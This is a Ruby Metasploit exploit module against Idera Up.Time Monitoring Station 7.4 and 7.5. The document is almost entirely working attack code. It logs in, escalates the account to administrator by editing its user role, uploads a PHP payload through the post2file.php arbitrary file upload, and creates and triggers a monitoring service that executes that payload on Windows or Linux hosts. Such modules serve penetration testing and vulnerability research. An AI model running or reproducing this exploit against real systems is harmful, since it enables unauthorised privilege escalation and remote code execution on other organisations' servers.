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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'nokogiri' class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name'=> 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload', 'Description' => %q{ This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0. The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php, which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated by the vendor. Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it can still be bypassed and gain privilege escalation, and allows the attacker to upload file again, and execute arbitrary commands. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Denis Andzakovic', # Found file upload bug in post2file.php in 2013 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>' ], 'References'=> [ ['EDB', '37888'], ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [['Automatic', {}]], 'Privileged' => 'true', 'DefaultTarget'=> 0, # The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015, # it was discovered again by Ewerson 'Crash' Guimaraes. 'DisclosureDate' => 'Nov 18 2013' )) register_options( [ Opt::RPORT(9999), OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) ], self.class) register_advanced_options( [ OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']), OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']), OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe']) ], self.class) end def print_status(msg='') super("#{rhost}:#{rport} - #{msg}") end def print_error(msg='') super("#{rhost}:#{rport} - #{msg}") end def print_good(msg='') super("#{rhost}:#{rport} - #{msg}") end # Application Check def check res = send_request_cgi( 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path) ) unless res vprint_error("Connection timed out.") return Exploit::CheckCode::Unknown end n = Nokogiri::HTML(res.body) uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]') if uptime_text version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first vprint_status("Found version: #{version}") if version >= '7.4.0' && version <= '7.5.0' return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe end def create_exec_service(*args) cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args res_service = send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'main.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'section'=> 'ERDCInstance', 'subsection' => 'add', }, 'vars_post' => { 'initialERDCId' => '20', 'target' => '1', 'targetType' => 'systemList', 'systemList' => '1', 'serviceGroupList' => '-10', 'initialMode' => 'standard', 'erdcName' => 'Exploit', 'erdcInitialName' => '', 'erdcDescription' => 'Exploit', 'hostButton' => 'system', 'erdc_id' => '20', 'forceReload' => '0', 'operation' => 'standard', 'erdc_instance_id' => '', 'label_[184]' => 'Script Name', 'value_[184]' => cmd, 'id_[184]' => 'process', 'name_[process]' => '184', 'units_[184]' => '', 'guiBasic_[184]' => '1', 'inputType_[184]' => 'GUIString', 'screenOrder_[184]' => '1', 'parmType_[184]' => '1', 'label_[185]' => 'Arguments', 'value_[185]' => cmdargs, 'id_[185]' => 'args', 'name_[args]' => '185', 'units_[185]' => '', 'guiBasic_[185]' => '1', 'inputType_[185]' => 'GUIString', 'screenOrder_[185]' => '2', 'parmType_[185]' => '1', 'label_[187]' => 'Output', 'can_retain_[187]' => 'false', 'comparisonWarn_[187]' => '-1', 'comparison_[187]' => '-1', 'id_[187]' => 'value_critical_output', 'name_[output]' => '187', 'units_[187]' => '', 'guiBasic_[187]' => '1', 'inputType_[187]' => 'GUIString', 'screenOrder_[187]' => '4', 'parmType_[187]' => '2', 'label_[189]' => 'Response time', 'can_retain_[189]' => 'false', 'comparisonWarn_[189]' => '-1', 'comparison_[189]' => '-1', 'id_[189]' => 'value_critical_timer', 'name_[timer]' => '189', 'units_[189]' => 'ms', 'guiBasic_[189]' => '0', 'inputType_[189]' => 'GUIInteger', 'screenOrder_[189]' => '6', 'parmType_[189]' => '2', 'timing_[erdc_instance_monitored]' => '1', 'timing_[timeout]' => '60', 'timing_[check_interval]' => '10', 'timing_[recheck_interval]' => '1', 'timing_[max_rechecks]' => '3', 'alerting_[notification]' => '1', 'alerting_[alert_interval]' => '120', 'alerting_[alert_on_critical]' => '1', 'alerting_[alert_on_warning]' => '1', 'alerting_[alert_on_recovery]' => '1', 'alerting_[alert_on_unknown]' => '1', 'time_period_id' => '1', 'pageFinish' => 'Finish', 'pageContinue' => 'Continue...', 'isWizard' => '1', 'wizardPage' => '2', 'wizardNumPages' => '2', 'wizardTask' => 'pageFinish', 'visitedPage[1]' => '1', 'visitedPage[2]' => '1' }) end def exploit vprint_status('Trying to login...') # Application Login res_auth = send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) unless res_auth fail_with(Failure::Unknown, 'Connection timed out while trying to login') end # Check OS phpfile_name = rand_text_alpha(10) if res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph') uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards') cmdargs = "#{uploadpath}#{phpfile_name}.txt" cmd = phppath else vprint_status('Found Windows installation - Setting appropriated PATH') phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\\php\\php.exe') uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\\GUI\\wizards\\') cmd = datastore['CmdPath'] cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\"" end if res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Login success') # Privilege escalation getting user ID res_priv = send_request_cgi( 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { 'page'=> 'Users', 'subPage' => 'UserContainer' }, 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) unless res_priv fail_with(Failure::Unknown, 'Connection timed out while getting userID.') end matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/) unless matchdata fail_with(Failure::Unknown, 'Unable to find userID for escalation') end get_id = matchdata[0].gsub(/[^\d]/, '') vprint_status('Escalating privileges...') # Privilege escalation post res_priv_elev = send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { 'section'=> 'UserContainer', 'subsection' => 'edit', 'id' => "#{get_id}" }, 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'operation' => 'submit', 'disableEditOfUsernameRoleGroup' => 'false', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'passwordConfirm' => datastore['PASSWORD'], 'firstname' => rand_text_alpha(10), 'lastname' => rand_text_alpha(10), 'location' => '', 'emailaddress' => '', 'emailtimeperiodid' => '1', 'phonenumber' => '', 'phonenumbertimeperiodid' => '1', 'windowshost' => '', 'windowsworkgroup' => '', 'windowspopuptimeperiodid' => '1', 'landingpage' => 'MyPortal', 'isonvacation' => '0', 'receivealerts' => '0', 'activexgraphs' => '0', 'newuser' => 'on', 'newuser' => '1', 'userroleid' => '1', 'usergroupid[]' => '1' } ) unless res_priv_elev fail_with(Failure::Unknown, 'Connection timed out while escalating...') end # Refresing perms vprint_status('Refreshing perms...') res_priv = send_request_cgi( 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'index.php?loggedout'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) unless res_priv fail_with(Failure::Unknown, 'Connection timed out while refreshing perms') end res_auth = send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) unless res_auth fail_with(Failure::Unknown, 'Connection timed out while authenticating...') end if res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Priv. Escalation success') end # CREATING Linux EXEC Service if res_auth.headers['Server'] =~ /Unix/ vprint_status('Creating Linux Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) else # CREATING Windows EXEC Service# vprint_status('Creating Windows Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) end # Upload file vprint_status('Uploading file...') up_res = send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'wizards', 'post2file.php'), 'vars_post' => { 'file_name' => "#{phpfile_name}.txt", 'script'=> payload.encoded } ) unless up_res fail_with(Failure::Unknown, 'Connection timed out while uploading file.') end vprint_status('Checking Uploaded file...') res_up_check = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt") ) if res_up_check && res_up_check.code == 200 print_good("File found: #{phpfile_name}") else print_error('File not found') return end # Get Monitor ID vprint_status('Fetching Monitor ID...') res_mon_id = send_request_cgi( 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', 'iDisplayStart' => '0', 'iDisplayLength'=> '10', 'sSearch' => 'Exploit' } ) unless res_mon_id fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID') end matchdata = res_mon_id.body.match(/id=?[^>]*>/) unless matchdata fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.') end mon_get_id = matchdata[0].gsub(/[^\d]/, '') print_good("Monitor id aquired:#{mon_get_id}") # Executing monitor send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'main.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'section'=> 'RunERDCInstance', 'subsection' => 'view', 'id' => mon_get_id, 'name' => 'Exploit' } ) else print_error('Cookie not found') end end end |
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